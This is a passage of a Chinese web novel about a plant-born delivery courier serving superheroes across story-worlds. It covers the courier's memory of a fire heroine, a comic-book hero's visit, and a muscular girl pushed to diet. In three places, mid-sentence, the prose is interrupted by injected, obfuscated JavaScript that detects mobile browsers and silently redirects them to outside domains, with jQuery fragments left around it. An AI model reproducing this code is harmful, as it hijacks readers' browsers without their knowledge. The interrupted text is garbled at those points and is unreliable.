《超级英雄们饿了吗》 3.我遇到的她 任务完成了,我带着餐盒和剩下的点心原路返回。今天还算顺利,来去路上都没有遇到风暴,天空还是平静的绛紫色,如果刚才那位管理员不投诉我,那就更好不过。 回到店里,我停好摩托,把剩下的东西交给K。他只看了一眼,就让我把蛋糕和饮料处理了。我打手势,要把刚才发生的事告诉他,省得他以为我又偷懒。可他头也不回地进了厨房。 “故事还没讲完就被砍了,你又不是第一次见。”K的声音和切菜声一起传出来。 他说得也对。超级英雄们在故事里拯救世界,但不是每个故事都能讲到结局。 我看看盒子里剩下的纸杯蛋糕,它们依旧鲜艳饱满,满身糖粉和巧克力片,只是看上去像狂欢结束后从墙上掉下来的疲惫的装饰气球。我朝厨房瞥去一眼——K暂时没空注意我——于是飞快伸手,拿起一个蛋糕,咬了一口。 意料之中,什么味道没有。我嚼着它就像在嚼一团腐烂的枯叶。K的手艺深受各界超级英雄们的好评,这是不容置疑的;但这个蛋糕在我嘴里十分陌生,它和我的舌头谁也不认识谁。 算了,不能怪它,我也没有真正意义上的舌头。 我端起餐盒出门去。后门口不远处有一个坑,K让我挖的,用来丢一些厨余废料,像今天这样没送完的餐点,也会被丢在那里。我走到坑前,把餐盒整个倒转,圆鼓鼓的蛋糕和画着小动物的纸杯“扑簌簌”地落进坑里,好几百份,像一阵糕点雨。它们在落地的瞬间就化为粉红色的粉尘,在坑底和其他各种颜色的粉尘混合在一起;它们会慢慢变成泥土。 刚才在保姆车里,我也看到一堆尘土,就在探长的牛仔帽旁边。 探长去哪儿了? 回到店里,我又去找K。他正在给一条鱼剔骨。我朝他打手势:“超级英雄会死吗?”他都不看我一眼,只让我闪开,别碰到他的刀。我闪开了,接着打手势:“不是说在故事里不会真正死去吗?所以故事结束了,不讲了,他们就会死吗?”K还是不看我。灶上的水开了,他让我别挡着灶台。我让开了,把手伸到他面前:“超级英雄死了会变成什么样?会变成泥土吗?” K终于转头看我了。 “你吵死了,出去,看你的电视去。”他说。 好吧。 我回到客厅,端起我的电视机,打开,刚才捕捉到的信号已经消失了,屏幕上又是一片雪花斑。我又关上电视,玻璃屏幕暗下来,上面映出我的脸。 一回到这里,我就恢复了自己原有的样貌,但有时在别的世界停留太久,外形上也会多少残留一些影响。我使劲盯着倒影里的人脸看,可屏幕是圆弧的,映出的五官被拉伸变形,我不得不把脑袋转过来转过去,看了好一会儿,终于确定眼睛和嘴唇还是原来的形状。 只是头发又长长了。我把一部分枝叶定义成头发之后,它们总是疯长,长得又快又多又密。我一手抓着太长的头发,一手拿起桌上的小刀,削掉那几撮长得过快的叶梢,让它们尽可能久地保留在肩膀以上。 好了,这就和她一样了。 我仔细望着玻璃屏幕中的倒影:双眉浓重笔直,眼睛又大又亮,像油浸黑橄榄,鼻尖挺拔圆润,仿佛雨后拱出地面的蘑菇,还有微微上翘的嘴唇,总是让我想起饱满的豆荚……这些都和她一样,我费了好大的劲才长成这样的,一定要和她一样。 在我记忆中,她就长这个样子。 是的,在我记忆中。 那时候我还是一粒又小又硬的种子,连完整的意识都没有形成。她也许是在某一次不经意路过的时候,被我外壳上锐利的硬刺勾住了头发——于是我加入了她的故事。 我毫不知情,也不是故意的,这是我们传播生命的方式。 不知多久之后,我在一片热浪中醒来,第一眼的世界是漫天烈焰。我看到她的头发在火中猎猎飞扬。她跳跃,闪躲,冲刺,指间捻动火苗汇聚成破空的箭矢。她和她的同伴在战斗,火焰是她的武器,也是她的铠甲。是她炽热的能量把我唤醒了。 然后,我一直看着她,像刚刚破壳的小鸟。 她有明亮的眼睛,我也想要。 她有灵巧的手指,我也想要。 她有强壮的双臂,敏捷的双腿,矫健的腰肢,她像鹿一样奔跑,像鹰一样飞翔,她的胸腔里鼓动着灼热的生命力——我也想要,我都想要,我要和她一样。 初次降生就遇见这样强大美丽的生物,我的渴望就像她的火焰一样热烈。 但她们面对的敌人有着压倒性的力量。她的伙伴接二连三地倒下了,她的呼吸也一次比一次粗重。我感觉到她的身体在颤抖,掌中凝聚的火焰越来越暗淡。终于,在躲过一次袭击之后,她从半空中坠落,火光如流星熄灭。 我慌张极了,她的敌人正朝她走来,也许会给她最后一击。我不知道自己能做些什么,我只是一粒种子。她的敌人走到她面前了,手中武器发出不祥的光芒。 ——快醒过来,快站起来!我想对她大喊,可我连嘴都没有。各种我理解不理解的情绪在单薄脆弱的壳下翻腾:惊慌、恐惧、焦急、悲伤……我微小的种胚几乎被挤得爆裂开来。我想做些什么,我能做些什么? 我该做些什么,能保护她不被杀死? 这个念头出现的瞬间,一股热浪如泉水般从我体内涌现。在这具狭窄的身躯里,有什么东西要挣脱,要突破,要萌发出来了。 有什么东西要生长出来了! 我的第一丝根须浅浅地刺入她的皮肤,她一下子睁开眼睛,在刀锋割开她的咽喉的前一秒。 下一秒,她的双眼燃烧起来。她伸手握住几乎贴上脖颈的刀刃,烈焰如蛇一般沿着对方的手臂攀附而上。对方在惊愕中露出了刹那的破绽。她一跃而起,周身焰光熊熊就像一团爆射的火球。她一头撞入对手怀里,眼中灼烧的火焰把目光所及之处全部点燃。世界被她炙烤,天空被她焚毁。她就是火,是光,她比年轻的太阳更滚烫,比初生的星星更灼目,她是这一刻的天地间唯一的光芒——我也要。 她太美了,我要和她一样,我要成为她那样的人! 然后,她们理所当然地获得胜利。我高兴极了,尽管她的高温让我脱水,刚长出的根须也被烧掉。她虚弱但狂喜的欢呼响起之时,我的意识再度中断。 现在想来,当时我离她那么近,如果在战斗中被她的火焰烤干,烧死,也没有什么奇怪的;我那数百个兄弟姐妹们之中,能顺利长大的寥寥无几。 但我活下来了。又不知多久之后,我飘荡的意识慢慢聚拢,我听到许多人在说话,在大笑。我听到有人说,这是什么。然后是一阵晃动,有人抓住了我。 “天啊,刚才就是它扎了一下我的脖子,我才醒的,”我听到她惊喜的声音,“是它救了我——它还活着吗?” 我听见一个人说,肯定死了;另一个人说,用油炸了吃吧。他们的声音飘飘荡荡,好像醉醺醺的,中间还夹杂着许多清脆的碰撞声;这里是哪儿?然后又是一阵旋转,一双粗糙的手搓掉了我的外壳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329809|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人朝我吹了口气,说:“你可真走运,这是龙沼刺楸的种子,非常少见。在有些世界线,一株成年的龙沼刺楸会让富豪们用飞船来换。” 周围又响起醉醺醺的起哄声。一片吵闹中,我听到她问:“那它还活着吗?这是我们的第一场战斗,能赢也有它的功劳,它没事吧?” “还活着,”那个人说,“只要给它稳定的土壤,水分和光照,马上就会发芽的;这是它生长的第一阶段。第二阶段,它会结出一个茧,本体在茧里慢慢发育。如果能顺利长大,成熟之后的个体会拥有拟态能力,能模仿它们见过的其他种族的形态,是一种有智慧和思考能力的植物。” ——是的,我后来知道了,这个啰啰嗦嗦的人是K。 我呸。 他那番话让周围的人更激动了,大呼小叫,要她把我种下去,看看能换飞船的树长什么样子。K又说,虽然龙沼刺楸发芽很快,但生长期十分漫长,需要非常细心地照料,尤其是结茧之后,一点点环境变化都会让植株枯萎,这也是种群数量稀少的原因。 “所以如果你决定要养,就得把它当成自己的孩子。说不定将来还能帮上你们的忙。”K说。我又感觉晃了一下,大概是他把我递还了过去。 周围的人还在起哄,但她的回答过了好一会儿才响起。 “今天是我们的第一场战斗,它帮我们赢了,也许是注定要成为我们的队友,”她说,“可接下去我们的故事就要正式展开了,未来还会有许多敌人,我没法为它提供一个稳定的成长环境,也没有时间照料它。如果给了它发芽的希望,又让它枯萎,那也太可怜了。” “你可以把它在黑市卖了,”K说,“种子换不来飞船,但也能卖不少钱,它也能在有钱人的温室里长大,可以说是——” “老板,”她打断了K,“你能照顾它吗?” 周围安静下来了。我也屏住呼吸,如果我有的话。当时我还不知道这是哪儿,但我希望能和她在一起。 “我这只有沙子,很少下雨,经常刮风,它活不下去的。”K说。 “你的店在世界线交错的角落,环境虽然恶劣,但很稳定,不是吗,”她说,“它很了不起,跟着我们经历了一场恶战,我的火焰都伤害不了它——它是一颗坚强的种子,一定能在这里顺利发芽,长大,长成一棵漂亮又威风的小树。” “它长大后会拟态,不一定是小树。”K纠正她。 她笑起来:“好吧——它一定能长成自己想要的样子。到那个时候,我们一定也已经扬名立万,我会回来找它,感谢它让我们的故事有机会继续下去。” 于是我就被留在了这个鬼地方,被K种在一个打了孔的豁口汤盆里。 我呸。 那个豁口汤盆如今不知被塞在库房的哪个角落,可能已经被墙缝里漏进来的沙子埋了。K偶尔也会说起她,说不知道她们的故事进展到了哪里——下一句往往是威胁我,说她反正也不会来了,肯定早就忘了我这棵盆栽,我要是不听话就把我卖去黑市。我从来不信,也从来不怕,她没有再来过店里,说明太受欢迎,没时间休息。她又强壮,又勇敢,又美丽,一定有很多人喜欢她;只要有人喜欢她,她们的故事就会继续流传,她会一直守护她的世界的和平。 那些决定超短裙和牛仔帽的人,怎么可能会让受欢迎的故事终结,让强大的英雄死去? 是的,她不来店里也没关系,我已经长大了,可以去找她。只要她们的故事还在继续,我一定还会再遇到她。 4.不记得的他 可能是因为处在世界线交错的角落,店里的时间流速和别处都不一样,甚至昨天和今天,上午和下午的流速也不一定完全相同。刚出生不久的时候,我对时间很好奇,经常问K现在是什么时候,但他忙的时候会敷衍我,不忙的时候会骗我。所以后来,我想知道时间,就抬头看天:早上的天空是橙色和金色的,中午的天空是粉红的,有时候也是玫瑰紫,到了傍晚,它会变成薄荷绿,然后是一种半透明的深蓝色。大体上是这样的规律,可一旦发生风暴,就什么都看不到了。 再后来,我捡到了电视机,它可比K靠谱多了,每天上午下午和晚上的节目都是固定的,只要打开电视机,就能知道现在的时间段。虽然不是每次都能顺利收到信号,但它至少不会骗我。 今天运气很好,我刚按下开关,屏幕就闪出模糊的画面。我立刻把天线拉长,用手指捻着,小心翼翼地调整角度。画面跳动了一下,分离的线条很快重合,熟悉的男女主角出现在屏幕上。男人要坐火车离开了,他从车窗里探头回望,两撇小胡子翘得像鱼钩。女人站在月台上望着他哭泣,被泪水打湿的双眼比星星更明亮闪烁。我记得这一段,男人要去很远的地方,再不会回来,他邀请女人和他同行,女人拒绝了,却又在他将要离开的时候依依不舍地说了些我听不懂的话——很奇怪,我能听懂各条世界线的不同语言,也能看懂文字,但电视上的对话,我一个字都听不懂。 总之,应该到了关键的剧情点,火车还没有发车,她离他只有一个跨步的距离,两人今后到底是天各一方还是双宿双飞,就看这一刻她的选择。我坐直了,绷紧手臂,屏住呼吸,生怕一个小小的晃动就把来之不易的电视信号吓跑。终于,女人擦掉了眼泪,她抬起头了,她深呼吸了,她要张开嘴唇了—— 画面突然卡住,一动不动。 我愣了一下,伸手掰了掰天线,没用,拍拍电视机,没用,把电视机上那几个按键来回按了一遍,没用。我转头去看K在干嘛,是不是又在用奇怪的厨具——不对,我也卡住了。 卡住了,连眼珠子都转不了。不仅如此,肺部的空气在一瞬间被排出,身体被压成薄薄一片。狭窄的视野中,店里的一切也在逐渐变得扁平。我手里的电视机已经失去了体积和重量,我纸片似的手指托着纸片似的它,一动不能动。 我懂了,有人来店里吃饭了。 真会挑时候。 这家店的位置在世界线交错的角落,所以不会受到任何一个世界的画风影响——正常来说是这样的。但如果有其他世界的人来店里,那么他们自带的画风就会让这里也产生变化。这种变化是很有限的,只能作用于来者周围三米左右的范围,人离开,影响也就消失了,最多也就一顿饭的时间,不会耽误什么事。 正常来说是这样的。 我僵硬地盯着手中电视机的屏幕,上面的画面已经被简化成了黑色线条,男主角也好,女主角也好,火车也好月台也好,通通糊成一团。女主角的选择应该是看不到了,而明天这个时候,还不知道能不能这么顺利地抓到信号。 耳边传来“哗啦”的翻书声,身体获得了一瞬间的自由。我抬头朝店门口望去,有个年轻男人站在那里,周身线条流畅,上色精美,整体造型达到了人气杂志封面的水平。 ——为什么偏偏是个漫画英雄?他但凡有部动画片,我也能把这一集看完了。 又是“哗啦”一声,男人走进店里来了。在他的影响下,这小破店里的一切全部变成了色块和线条。我的视野被分割成大大小小的方块,他的身形和动作都嵌合在方块里——或者说,分镜。 “哗啦”,一小格,他暗蓝色的轻质盔甲在灯光下发亮。 “哗啦”,稍大些的一格,他的背影矫健轻盈,肩膀和双腿的薄肌让他身形紧实,充满年轻蓬勃的力量感,似乎还是个青少年。 “哗啦”,又一小格,他走到我面前了。 “哗啦”,特大超大无敌大的一格,英俊的面部特写。我看到他翡翠色的眼睛,和瞳孔中映出的我的脸。 幸好,他的故事看起来经费充足,没有因为我是个不重要的路人就给我一副潦草的长相。 然后,一个白色气泡“啪”的一声打开,在画面空白处。 “嗨。”他对我说,用对话气泡。 我礼貌地朝他点头,耳朵旁边浮出两条轨迹线。对话气泡又冒出来了,挨着他的脑袋,这一次是虚线边框,里面的文字模糊不清——这代表他正在进行心理活动,我看不到内容,只有读者才能看到。 没关系,我也不关心他在想什么。 年轻人用一个分镜冲我笑笑,又用一个分镜朝K招呼。K在厨房里,厨房是永远不会受到画风影响的,也许这就是K很少离开厨房的原因。K从窗口探出头来,流畅地与他交谈:一个说话,一个不停地弹气泡。“哗啦哗啦”的翻书声在耳边接连响起,我趁着分镜转换的机会,抱起电视机朝店外走去。这很不容易,我走了足足八页才彻底离开他的影响范围。电视机又恢复正常了,我捧着它爬高摸低,终于在店门口的招牌上捕捉到了那束信号。我用一只手托住电视机,另一只手牢牢抓住招牌,以猴子爬树的姿势固定好身体,继续收看。 画面出现了,音乐响起了。女主角的大眼睛闪闪发亮——她在看着什么?她为什么满脸惊恐?我中间漏掉了什么? 镜头从女主角脸上缓缓移开,移向她视线的终点。很好,这节奏我很熟悉,这意味着我并没有错过太多重要剧情,意味着悬念这才要揭开,意味着真正的高潮就要来了—— 画面停顿了,卡住了。 然后,电视机在我手中飞快地干瘪,我的手也跟着被压扁。我一口气还提在嗓子眼,就被“噗”的排出。我又变成薄薄一片了。 屏幕上的画面再度糊成一团。一个对话气泡在我眼前跳起:“你在看什么?” 我没有人类那么复杂的情绪机制,所以一般情况下,我不会产生太多明显的情绪。 但转头回看的那一格分镜里,依然有千言万语闪过心头。 我回头,看到年轻的漫画英雄站在门边,一个巨大的虚线气泡从他头顶缓缓浮现。 “抱歉。”小气泡。 难道刚才“千言万语闪过心头”的时候,我的头顶也冒气泡,给他看见了?不应该吧。 漫画英雄踩着分镜走过来,把挂在招牌上的我摘下,放到地上,接过我手中的电视机。一瞬间,屏幕上的画面变得前所未有的清晰,虽然女主角变成了彩色的漫画脸,但她清晰了。 “能看了吧?”小气泡。 也对,他是主角,是读者观察的眼睛。主角想看的东西,一定会完全展现。 但,依旧是漫画,剧情得一格接一格地演。 女主角清晰了,也静止了。 他的头顶又冒出一个虚线气泡,这一次的没有那么大,但他的神情变得非常尴尬。 硕大的面部特写让这一刻变得更加尴尬。 “……要是我有动画就好了。”瑟瑟缩缩的小气泡。 说完这一句,他把电视机往我怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341877|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一塞,紧接着是好几个连续分镜,飞快退回店里,一直退到K的厨房门口。我能动了,电视机也正常了,但那束信号已经溜走,我连屋顶都爬了,也没能把它找回来。 我坐在屋顶上,透过天窗,看到里面的年轻人点了披萨,正在大口吃大口嚼,拟声词蹦得到处都是。K倚在窗口和他搭话。我很少看到他有那么多话,可能这位是个熟客吧,虽然我没怎么见过他。 “好吃,比基地厨房做得好吃多了。”气泡。 “是的,换团队了,刚换的,队友还不太熟悉。”气泡。 “上次来的时候,我才刚出道呢。”气泡。 “不至于,还是配角,还要努力。”气泡。 我听不见K说话,但从气泡里也能猜出他们在说什么。他说要继续努力,努力做什么?超级英雄的努力很大程度上局限于剧情,而剧情又往往受制于观众和读者,角色单方面的努力其实影响不了太多。 观众不想看的东西,你再努力也没用。 再说了,我遇到的那些超级英雄,就没有一个不努力的。 桌旁的人突然抬起头来。他看到我了,脑袋上又冒出一个虚线气泡,然后朝我笑笑,脸颊鼓鼓的,塞满了披萨,像只心满意足的仓鼠。 他还挺喜欢笑,这样很难做队长。 不妙的是,K顺着他的视线也朝上望来。他一看到我,立刻皱起眉头,做了个敲头的手势,让我赶紧下来。我只好抱着电视机爬下去,回到店里。 我把电视机放回桌上,年轻人吃完饭正准备要走,看到我下来,愣了一下,又退回一步。 他怕我被他的画风影响?多此一举,他还能不出门了吗? 我才刚这么一想,年轻人挠了挠脸,头上又冒出虚线气泡了。 ……他不会真能看到我的想法吧? 他朝门口走过来了,一格,一格,又一格。我又被圈进他的分镜里了。他走到我面前,问我:“你叫什么名字?” K在气泡后面出声:“没给她取名字。” 他在特写里露出了惊讶的神色:“那要怎么称呼呢?” “称呼什么,”K说,“这里除了我,就是她,随便喊一声不就行了。” 年轻人的头上冒出了一串省略号,紧接着又是一个虚线气泡。他还挺会想。 然后他朝我走近过来,附身凑近我的耳边,微微笑眯起眼,嘴里冒出一个小小的低声气泡:“他怕取了名字,就会产生感情。将来万一你离开了,他会难过。” 怎么可能,那可是K,他只会想把我卖到黑市去。 “刚才你在屋顶上,他不是马上让你下来吗?也是担心你的安全。” 他才不是担心我,我比屋顶结实多了。 年轻人又露出困惑的表情,脑袋上的虚线气泡冒了一个又一个,不知道都想了些啥。最后他问我:“那你想要名字吗?” 要名字干嘛?名字就是标记,有了标记就会被记住,我可不想在别人的故事里留下痕迹,那多麻烦。 年轻人又笑,然后挥挥手,离开了。 那个人一走,店里就恢复了正常。我跑去找K,打手势问他,那个人的超能力是什么?不会是读心吧?K很奇怪地看了我一眼:“你不记得他了?” 什么意思,我该记得他吗?我见过他吗? K刚要开口,电话铃响了。他接起电话,应了几声,就挂断,回身进了厨房。 “不记得就算了,准备准备,来活了。”K说。厨房里响起“嗡嗡嗡”的榨汁机的声音。 5.魔法少女的蔬菜汁 来活了,厨房里“嗡嗡嗡”“吱吱吱”地响了一阵,然后K走出来,递给我一个餐盒:“去。” 写着地址的纸条也一起来了。我接过扫了一眼:AP0813世界线,也是常客聚集地。 “姑娘们点的,”K说,“赶紧给她们送去。” 我知道是姑娘们点的,AP0813有很多全是女孩子的超级英雄团体,隔三差五就点外卖,最常见的那几组坐标数字我倒背如流,今天这单就是其中之一。我提着餐盒刚要出门,K又叫住我:“背面还有地址,别漏了。” 背面还有?那就送完姑娘们的再看。我放好餐盒,戴上头盔,跨上车座,插进钥匙;踏板摩托“哼哼唧唧”地发动了。 AP0813我也很熟悉,那里的超级英雄们比起SA0407的要年轻许多,女性英雄的数量更是别处的好几倍,还有许多女队长,女leader。说起来,我问过K,为什么女性救世主也被称作“英雄”,而不是一个无需前后缀,也能看出性别的专有名词。K说,真正的英雄不需要强调性别,英雄之所以是英雄,是因为行为,而不是染色体。 我又问他,既然不需要强调性别,为什么不用更中性化的词语?反正不需要强调性别,不如用通用词把各种人都包括进去,也省得区别对待,或者干脆就用女性化的词语,让男英雄去用区别对待的前后缀? K说那会很滑稽。 我想了想,怎么会滑稽呢?我跟他打手势说,我刚学走路的时候也很滑稽,不知道哪个是手哪个是脚,也不知道怎么迈步,动不动就摔,摔倒了就在地上滚,你还成天笑话我;现在我走得多了,走得飞快,谁看了都觉得我生下来就是人,还有谁会笑话我?所以你觉得滑稽是因为说的人少,多说说不就习惯了,英雄这个词,不也是被人造出来的? 我还没比划完,K又敲我头了。 他总拿敲头吓唬我,其实一点都不痛。我对疼痛的感知很迟钝,比人类耐打多了。但他爱敲,就让他敲吧。反正他敲我头,就是不想跟我多废话的意思,那还说啥呢,还不如看电视。 今天的门也很容易就找到了。踏板摩托冲下一个小土坡的时候,我随便一瞥眼,看到不远处的沙堆里好像埋着什么东西。过去扒开沙子一看,果然是一扇铁门,平躺着朝下开的,像地窖的入口。我掏出纸条和粉笔头,把坐标写在门板上,伸手敲了三下。地窖里安安静静,没有回应,对于我这只蚂蚁的进入,那个世界既不欢迎,也不排斥——十分感谢。 我推开铁门,然后回头跨上摩托,调整方向,拧动油门。踏板摩托“轰”的一声朝前窜出,栽进地窖。 世界线的隧道展开了。 一段漫长又安静的行驶过后,我看到了隧道的出口,锐利的白光像剑一样刺进来。我闭上眼睛,屏住呼吸,穿入白光的瞬间,耳中响起“嗡”的震响,一股带着温度的气浪拍上面颊。我呛水似的咳嗽了几声,睁开眼睛,眼前高楼林立,街道上人来车往,没有飞行器,也没有悬浮在半空的广告牌。我又朝后视镜一望:黑发黑眼,五官小巧,四肢纤细,皮肤是细腻的象牙白,额前的刘海被搓成好几绺,湿漉漉地贴在脑门上——我不太理解这种审美,明明上次来的时候,这里流行的还是严严实实压住眉毛的瓦片厚刘海。 身后传来催促的喇叭声。我抬眼一看,路口的信号灯已经变绿,赶紧松开刹车,朝前驶去。 目的地很明确——两条马路之后,位于下一个街区的高中学校。 这个世界大多数的超级英雄是未成年人,其中又以高中生为多。他们年轻,热情,精力充沛,有着用不完的时间和做不完的梦,没有就业压力,也不用考虑养家糊口,几句话就能说动他们卖命,是维护世界和平的重要力量。过去也有小学女生在机缘巧合下获得魔法——也就是这里特有的魔法少女,活泼可爱,非常受欢迎,但似乎引发了一些不太好的社会事件,所以AP0813出台了一项法规:至少要年满14岁,才能申请执照,成为超级英雄。 (不过,我感觉在执行上其实也不是那么严格,我见过不止一个魔法少女,理论上已经是高中生,甚至准大学生,却依旧有着小学生的身高和脸蛋,很难不怀疑是为了合法拿证谎报年龄。) 目的地的学校到了。我在门口停好车,提着餐盒走进校门。跨过那道门的瞬间,身体立刻被挤压成薄薄的动画——预算充足,制作精良,帧数流畅,细节拉满,每一绺刘海都上了高光,只是个头变矮了,原本就不强壮的四肢变得更加瘦弱,走路的姿态也成了内八,脸颊上还印了两块淡淡的粉色腮红,娇羞得莫名其妙。我第一次来的时候试过用手抠那两块腮红,但怎么也抠不掉,不得不接受了这种画风。 我提着餐盒朝前走去。正是傍晚的放学时间,穿着水手服的女高中生们说说笑笑从我身边经过。AP0813的世界中,凡是以女性团体为主角的故事,很少有男性角色出现;听说过去也有一些故事,为了剧情发展的合理性,会设置几个戏份不多的男性角色——爸爸、哥哥、同学、老师,回家路上的便利店店长之类,但遭到男观众的强烈抗议,有男不看,所以现在,主角们的高中门口的猫都是母的。 我逆着人群经过操场,中庭,花坛,一路走到社团活动楼,熟门熟路地上楼,拐弯,直行,然后在挂着“美术教室”的门前停下。推门一看,教室里没有人,只靠窗摆着一排石膏雕像。我走过去,伸手依次拧动那些雕像的脑袋,墙壁后传来“咔哒咔哒”的机械绞动声。最后一个雕像的脑袋被拧到左边之后,一扇暗门在教室后侧的墙上打开了。 女高中生组成的超级英雄团体,秘密基地入口在学校的美术教室,合情合理。 不过,今天这里似乎有些过于安静了。往常我刚一打开教室门,就会看到她们正在热热闹闹地聊天;如果没有,那么再拧动机关,一般拧到第三个头,她们就会冲出来抢走餐盒,个子小小的,步子快快的,像一群饿极的鹌鹑。今天我已经把暗门都打开了,却还是一个人都没看见。 哦,看见一个人了。 一个女孩子犹犹豫豫地从暗门里侧探出头来,眨巴眨巴眼睛,小声开口:“诶……请问什么事?” 这是没见过的生面孔,说话还带着一种奇怪的口音,可能是团队招新了吧。我把餐盒朝她晃了晃,她露出恍然大悟的表情:“昂~是外卖呀~” 她从暗门里走出来了。 高大的黑影顿时把我笼罩。 刚才她躲在门后,只露出一个脑袋,说起话来又弱声弱气,我下意识地把她当成新来的鹌鹑,没想到出来的是只鸵鸟——不,这样的说法未免太不礼貌,实事求是,就事论事地讲——我没想到出来的是个身高一米八,肩宽腰细,双腿笔直紧实,腿部肌肉像装甲一般从大腿覆盖到小腿的,强壮的,矫健的,女孩子。 说起来,在别的世界,一米八也不算什么惊人的个头。也许是因为AP0813的女孩子的平均身高只在一米五上下,还有不少(可能)谎报年龄的小学生,才让她显得像个巨人。 而此时的我由于画风的关系,个子也不过一米五,这让我不得不抬起头来仰望她。 但眼前的女孩子一看到我的眼神,立刻弓背低头,用头发遮住大半张脸,使劲收起肩膀缩进脖子,恨不得把自己叠起来。她不喜欢被人仰着头看吗? “学姐们都出去叻,我在这里值班……你把东西给我就好。”她小声说。她每句话的尾音都压得扁扁的低低的,有些词语的发音还有一种磨砂的质感。我以前从没听过这样的口音,好像一只小老鼠躲在墙角说话。说话的时候,她的眼睛直勾勾地盯着我手里的餐盒,可能真的是小老鼠吧。 于是我把餐盒在桌上放下,打开,一件一件往外掏:无糖蛋糕一小块、无糖松饼一小块、无糖手指饼干一小包、无糖果汁一大杯、蔬果汁一大杯、蔬菜汁一大杯……除了最开始的几件甜品以外,剩下的全是各种红黄蓝绿的汁。最后一件餐点——芹菜胡萝卜紫甘蓝汁一大杯——掏完,小老鼠的眼睛熄灭了。 “又是这个,我到这里来以后,天天喝这个,”她把杯子拿起来又放下,“管理员还说今天会给我点好吃的,屁咧,还是芹菜汁!” 她果然是新来的。等她多呆一段时间就会知道,在AP0813,超级英雄是绝对不能吃饱饭的。仅限女性超级英雄。 虽然法律规定了超级英雄的最低年龄,可最受观众和读者欢迎的依旧是瘦精精白嫩嫩的小女孩形象。在这样的前提下,几乎所有AP0813的女性英雄都在节食。有些女性超英的角色设定是爱吃不胖,因为“读者觉得这样很可爱”。她们会在剧情里吃很多饭,然后在剧情之外的生活中,水米不进,靠着输液维持生命。 所以,像她这样的体型—— 我的视线把眼前高大的女孩子上下一刮。她的五官是属于AP0813平均水平的可爱,不过肤色是这里少见的,更富生机的巧克力色;她身上的校服对她来说有些太小了,上衣和裙腰之间露出一痕空隙,四块腹肌若隐若现。 察觉到我注视的方向,她紧张地拉下上衣,遮住肚子。 “你别看叻,我胖……大家的腰围都是50多,只有我,72,”她小声说,又伸手拿过一杯蔬菜汁,“我还是喝这个吧,蛋糕留给学姐们。管理员说,要是我一直瘦不下来,就要回乡下去——不然,就去异世界,给勇者做后宫。听说勇者那边的后宫倒是高矮胖瘦什么样的女孩子都有,连小猫小狗都有,像我这样腿粗的,说不定也行……不过后宫是什么?也是超级英雄团体吗?” 她到底是怎么来这里的?简直就像搭错了反方向的公车,要去补习班却误入轰趴现场。我很想告诉她,她的体型非常正常,是健康的女超英该有的状态——但我想不到这该怎么用手势来表达。 而且就算告诉她,也无济于事。她是AP0813的角色,行动受制于世界线本身;就算她认知到自己没必要和其他人一样,世界线还是会约束她,制裁她。最终结果不是回乡下,就是做后宫。 我想了想,打手势问她:“为什么来这里?” 她看不懂,我又比划,把手指比成两条腿,走过来走过去。她恍然大悟,然后不好意思地笑:“在老家的时候,大家都说我很厉害,长得也好看。正好这里在招新,大家就都推荐我来做个超级英雄……” 招新,推荐。我又忍不住望向她肌肉健实的腿。她立刻拉下裙子遮住。 “你别看叻,我胖,”她红着脸说,“来了之后才知道,战斗服根本装不下我,校服也没有我这么大的号。本来要打发我回家,但是管理员说,现在别的世界线都在追求什么……什么多样性,我这样的类型说不定反而会有一部分人喜欢,所以让我留下,但是得减肥……我已经算运气好的叻,和我同期来的那个女孩子,她老家在北边的港口。听说地震的时候,她一个人扛住了断裂的桥墩,让大桥没有崩塌,村里的人才有时间避难——简直太强了吧!但是她在初选的时候被刷掉了,因为上半身太壮,上镜不好看。管理员说,怪力少女的设定要配合很细很细的小胳膊才会有反差萌……这合理吗?” 说着,她又看了看自己肌肉鼓胀的腿:“而且招新的时候也没人告诉我,还有身材要求啊……只说了有英雄事迹就好。” 英雄事迹?我好奇起来,朝她打手势:那你是做了什么,被推荐来的? 她眨了眨眼睛,好像没看懂。我又朝她比比划划,可她还是没看懂。算了,接下去还有一单要送,也没时间跟她在这里聊天。我把签收单递给她,准备离开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347553|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的手还没碰到单子,教室两侧的玻璃突然爆炸,巨大的声浪中,碎片四散飞溅。我还没来得及反应,她一把抓过我,把我往桌下按倒。 “你藏起来,它们来叻!”她大喊道。 话音刚落,美术教室的门也被爆破,几个奇奇怪怪的穿着黑色紧身衣的蒙面人从浓烟中出现,张牙舞爪,“叽呀”怪叫。从造型来看,属于AP0813的常见杂兵。 我从桌底下探出脑袋,看到她的表情异常严肃。 